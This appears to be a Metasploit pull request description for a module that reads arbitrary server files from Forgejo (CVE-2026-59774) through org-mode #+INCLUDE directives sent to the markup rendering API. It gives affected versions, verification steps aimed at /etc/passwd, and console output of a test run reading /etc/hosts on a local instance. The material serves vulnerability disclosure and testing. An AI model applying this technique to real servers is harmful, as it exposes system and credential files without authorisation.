Add Forgejo arbitrary file read module (CVE-2026-59774)

[jvoisin]

Description

Forgejo 7.0 through 15.0.5 and 16.0.0–16.0.1 expose an arbitrary file read via the markup rendering API. The go-org library's default ReadFile callback is not overridden, so #+INCLUDE directives resolve absolute paths on the server filesystem.

The module authenticates to POST /api/v1/markup with org-mode content and extracts the included file from the rendered HTML response.

Breaking Changes

None

Reviewer Notes

Verification Steps

1. Install a vulnerable Forgejo instance (7.0 through 15.0.5 or 16.0.0-16.0.1) by downloading a binary from https://code.forgejo.org/forgejo/forgejo/releases/tag/v15.0.5)
2. Install Forgejo
3. Create a user account and at least one repository
4. Start msfconsole
5. Do: use auxiliary/gather/forgejo_orgmode_fileread_cve_2026_59774
6. Do: set RHOSTS <target>
7. Do: set USERNAME <user>
8. Do: set PASSWORD <pass>
9. Do: run
10. You should see the contents of /etc/passwd

Test Evidence

msf auxiliary(gather/forgejo_orgmode_fileread_cve_2026_59774) > use auxiliary/gather/forgejo_orgmode_fileread_cve_2026_59774
msf auxiliary(gather/forgejo_orgmode_fileread_cve_2026_59774) > set USERNAME jvoisin
USERNAME => jvoisin
msf auxiliary(gather/forgejo_orgmode_fileread_cve_2026_59774) > set PASSWORD Testpass123!
PASSWORD => Testpass123!
msf auxiliary(gather/forgejo_orgmode_fileread_cve_2026_59774) > 
msf auxiliary(gather/forgejo_orgmode_fileread_cve_2026_59774) > check 
[+] 127.0.0.1:3000 - The target appears to be vulnerable. Forgejo 15.0.5 is vulnerable (patched in 15.0.6 / 16.0.2)
msf auxiliary(gather/forgejo_orgmode_fileread_cve_2026_59774) > set FILEPATH /etc/hosts
FILEPATH => /etc/hosts
msf auxiliary(gather/forgejo_orgmode_fileread_cve_2026_59774) > run
[*] Running module against 127.0.0.1
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Forgejo 15.0.5 is vulnerable (patched in 15.0.6 / 16.0.2)
[*] No REPO specified, searching for a public repository...
[*] Found public repository: jvoisin/public-test
[*] Reading /etc/hosts via markup rendering
[+] Successfully read /etc/hosts (385 bytes)
# Loopback entries; do not change.
# For historical reasons, localhost precedes localhost.localdomain:
127.0.0.1   localhost localhost.localdomain localhost4 localhost4.localdomain4
::1         localhost localhost.localdomain localhost6 localhost6.localdomain6
# See hosts(5) for proper format and other examples:
# 192.168.1.10 foo.example.org foo
# 192.168.1.13 bar.example.org bar
#
[+] File saved to: /home/jvoisin/.msf4/loot/20260812103054_default_127.0.0.1_forgejo.file_233718.txt
[*] Auxiliary module execution completed
msf auxiliary(gather/forgejo_orgmode_fileread_cve_2026_59774) > 

Environment

Field	Details
Operating System	Fedora
Target Software/Hardware	Forgejo 15.0.5

AI Usage Disclosure

None

Pre-Submission Checklist

• Included a corresponding documentation markdown file in documentation/modules (new modules only)
• No sensitive information (IP addresses, credentials, API keys, hashes) in code or documentation
• Tested on the target environment specified in the Environment section above
• Included RSpec tests for library changes (encouraged for lib/ changes)
• Read the CONTRIBUTING.md and module acceptance guidelines

Hardware and Complex Software Module Guidance

If your module targets specialized hardware (routers, IoT, PLCs, etc.) or complex software (licensed, multi-service, or multi-version), provide a pcap, screen recording, or video showing successful execution.

Email sanitized pcaps/recordings to msfdev@metasploit.com — remove real IPs, credentials, and hostnames before sending. If hardware/software is unavailable, explain in the PR description.

Responsiveness and PR Takeover Policy

We want every contribution to make it into the project. If approximately 2 weeks pass after a review request without a comment or code update from you, the team may take over the PR and complete the work on your behalf.

If this happens, you will remain credited as a co-author on the final commit — your contribution is always recognized.

This policy exists to keep the project moving forward. It is not a reflection on the quality of your work or your involvement. Life happens, and we would rather finish the work together than let a good contribution go stale.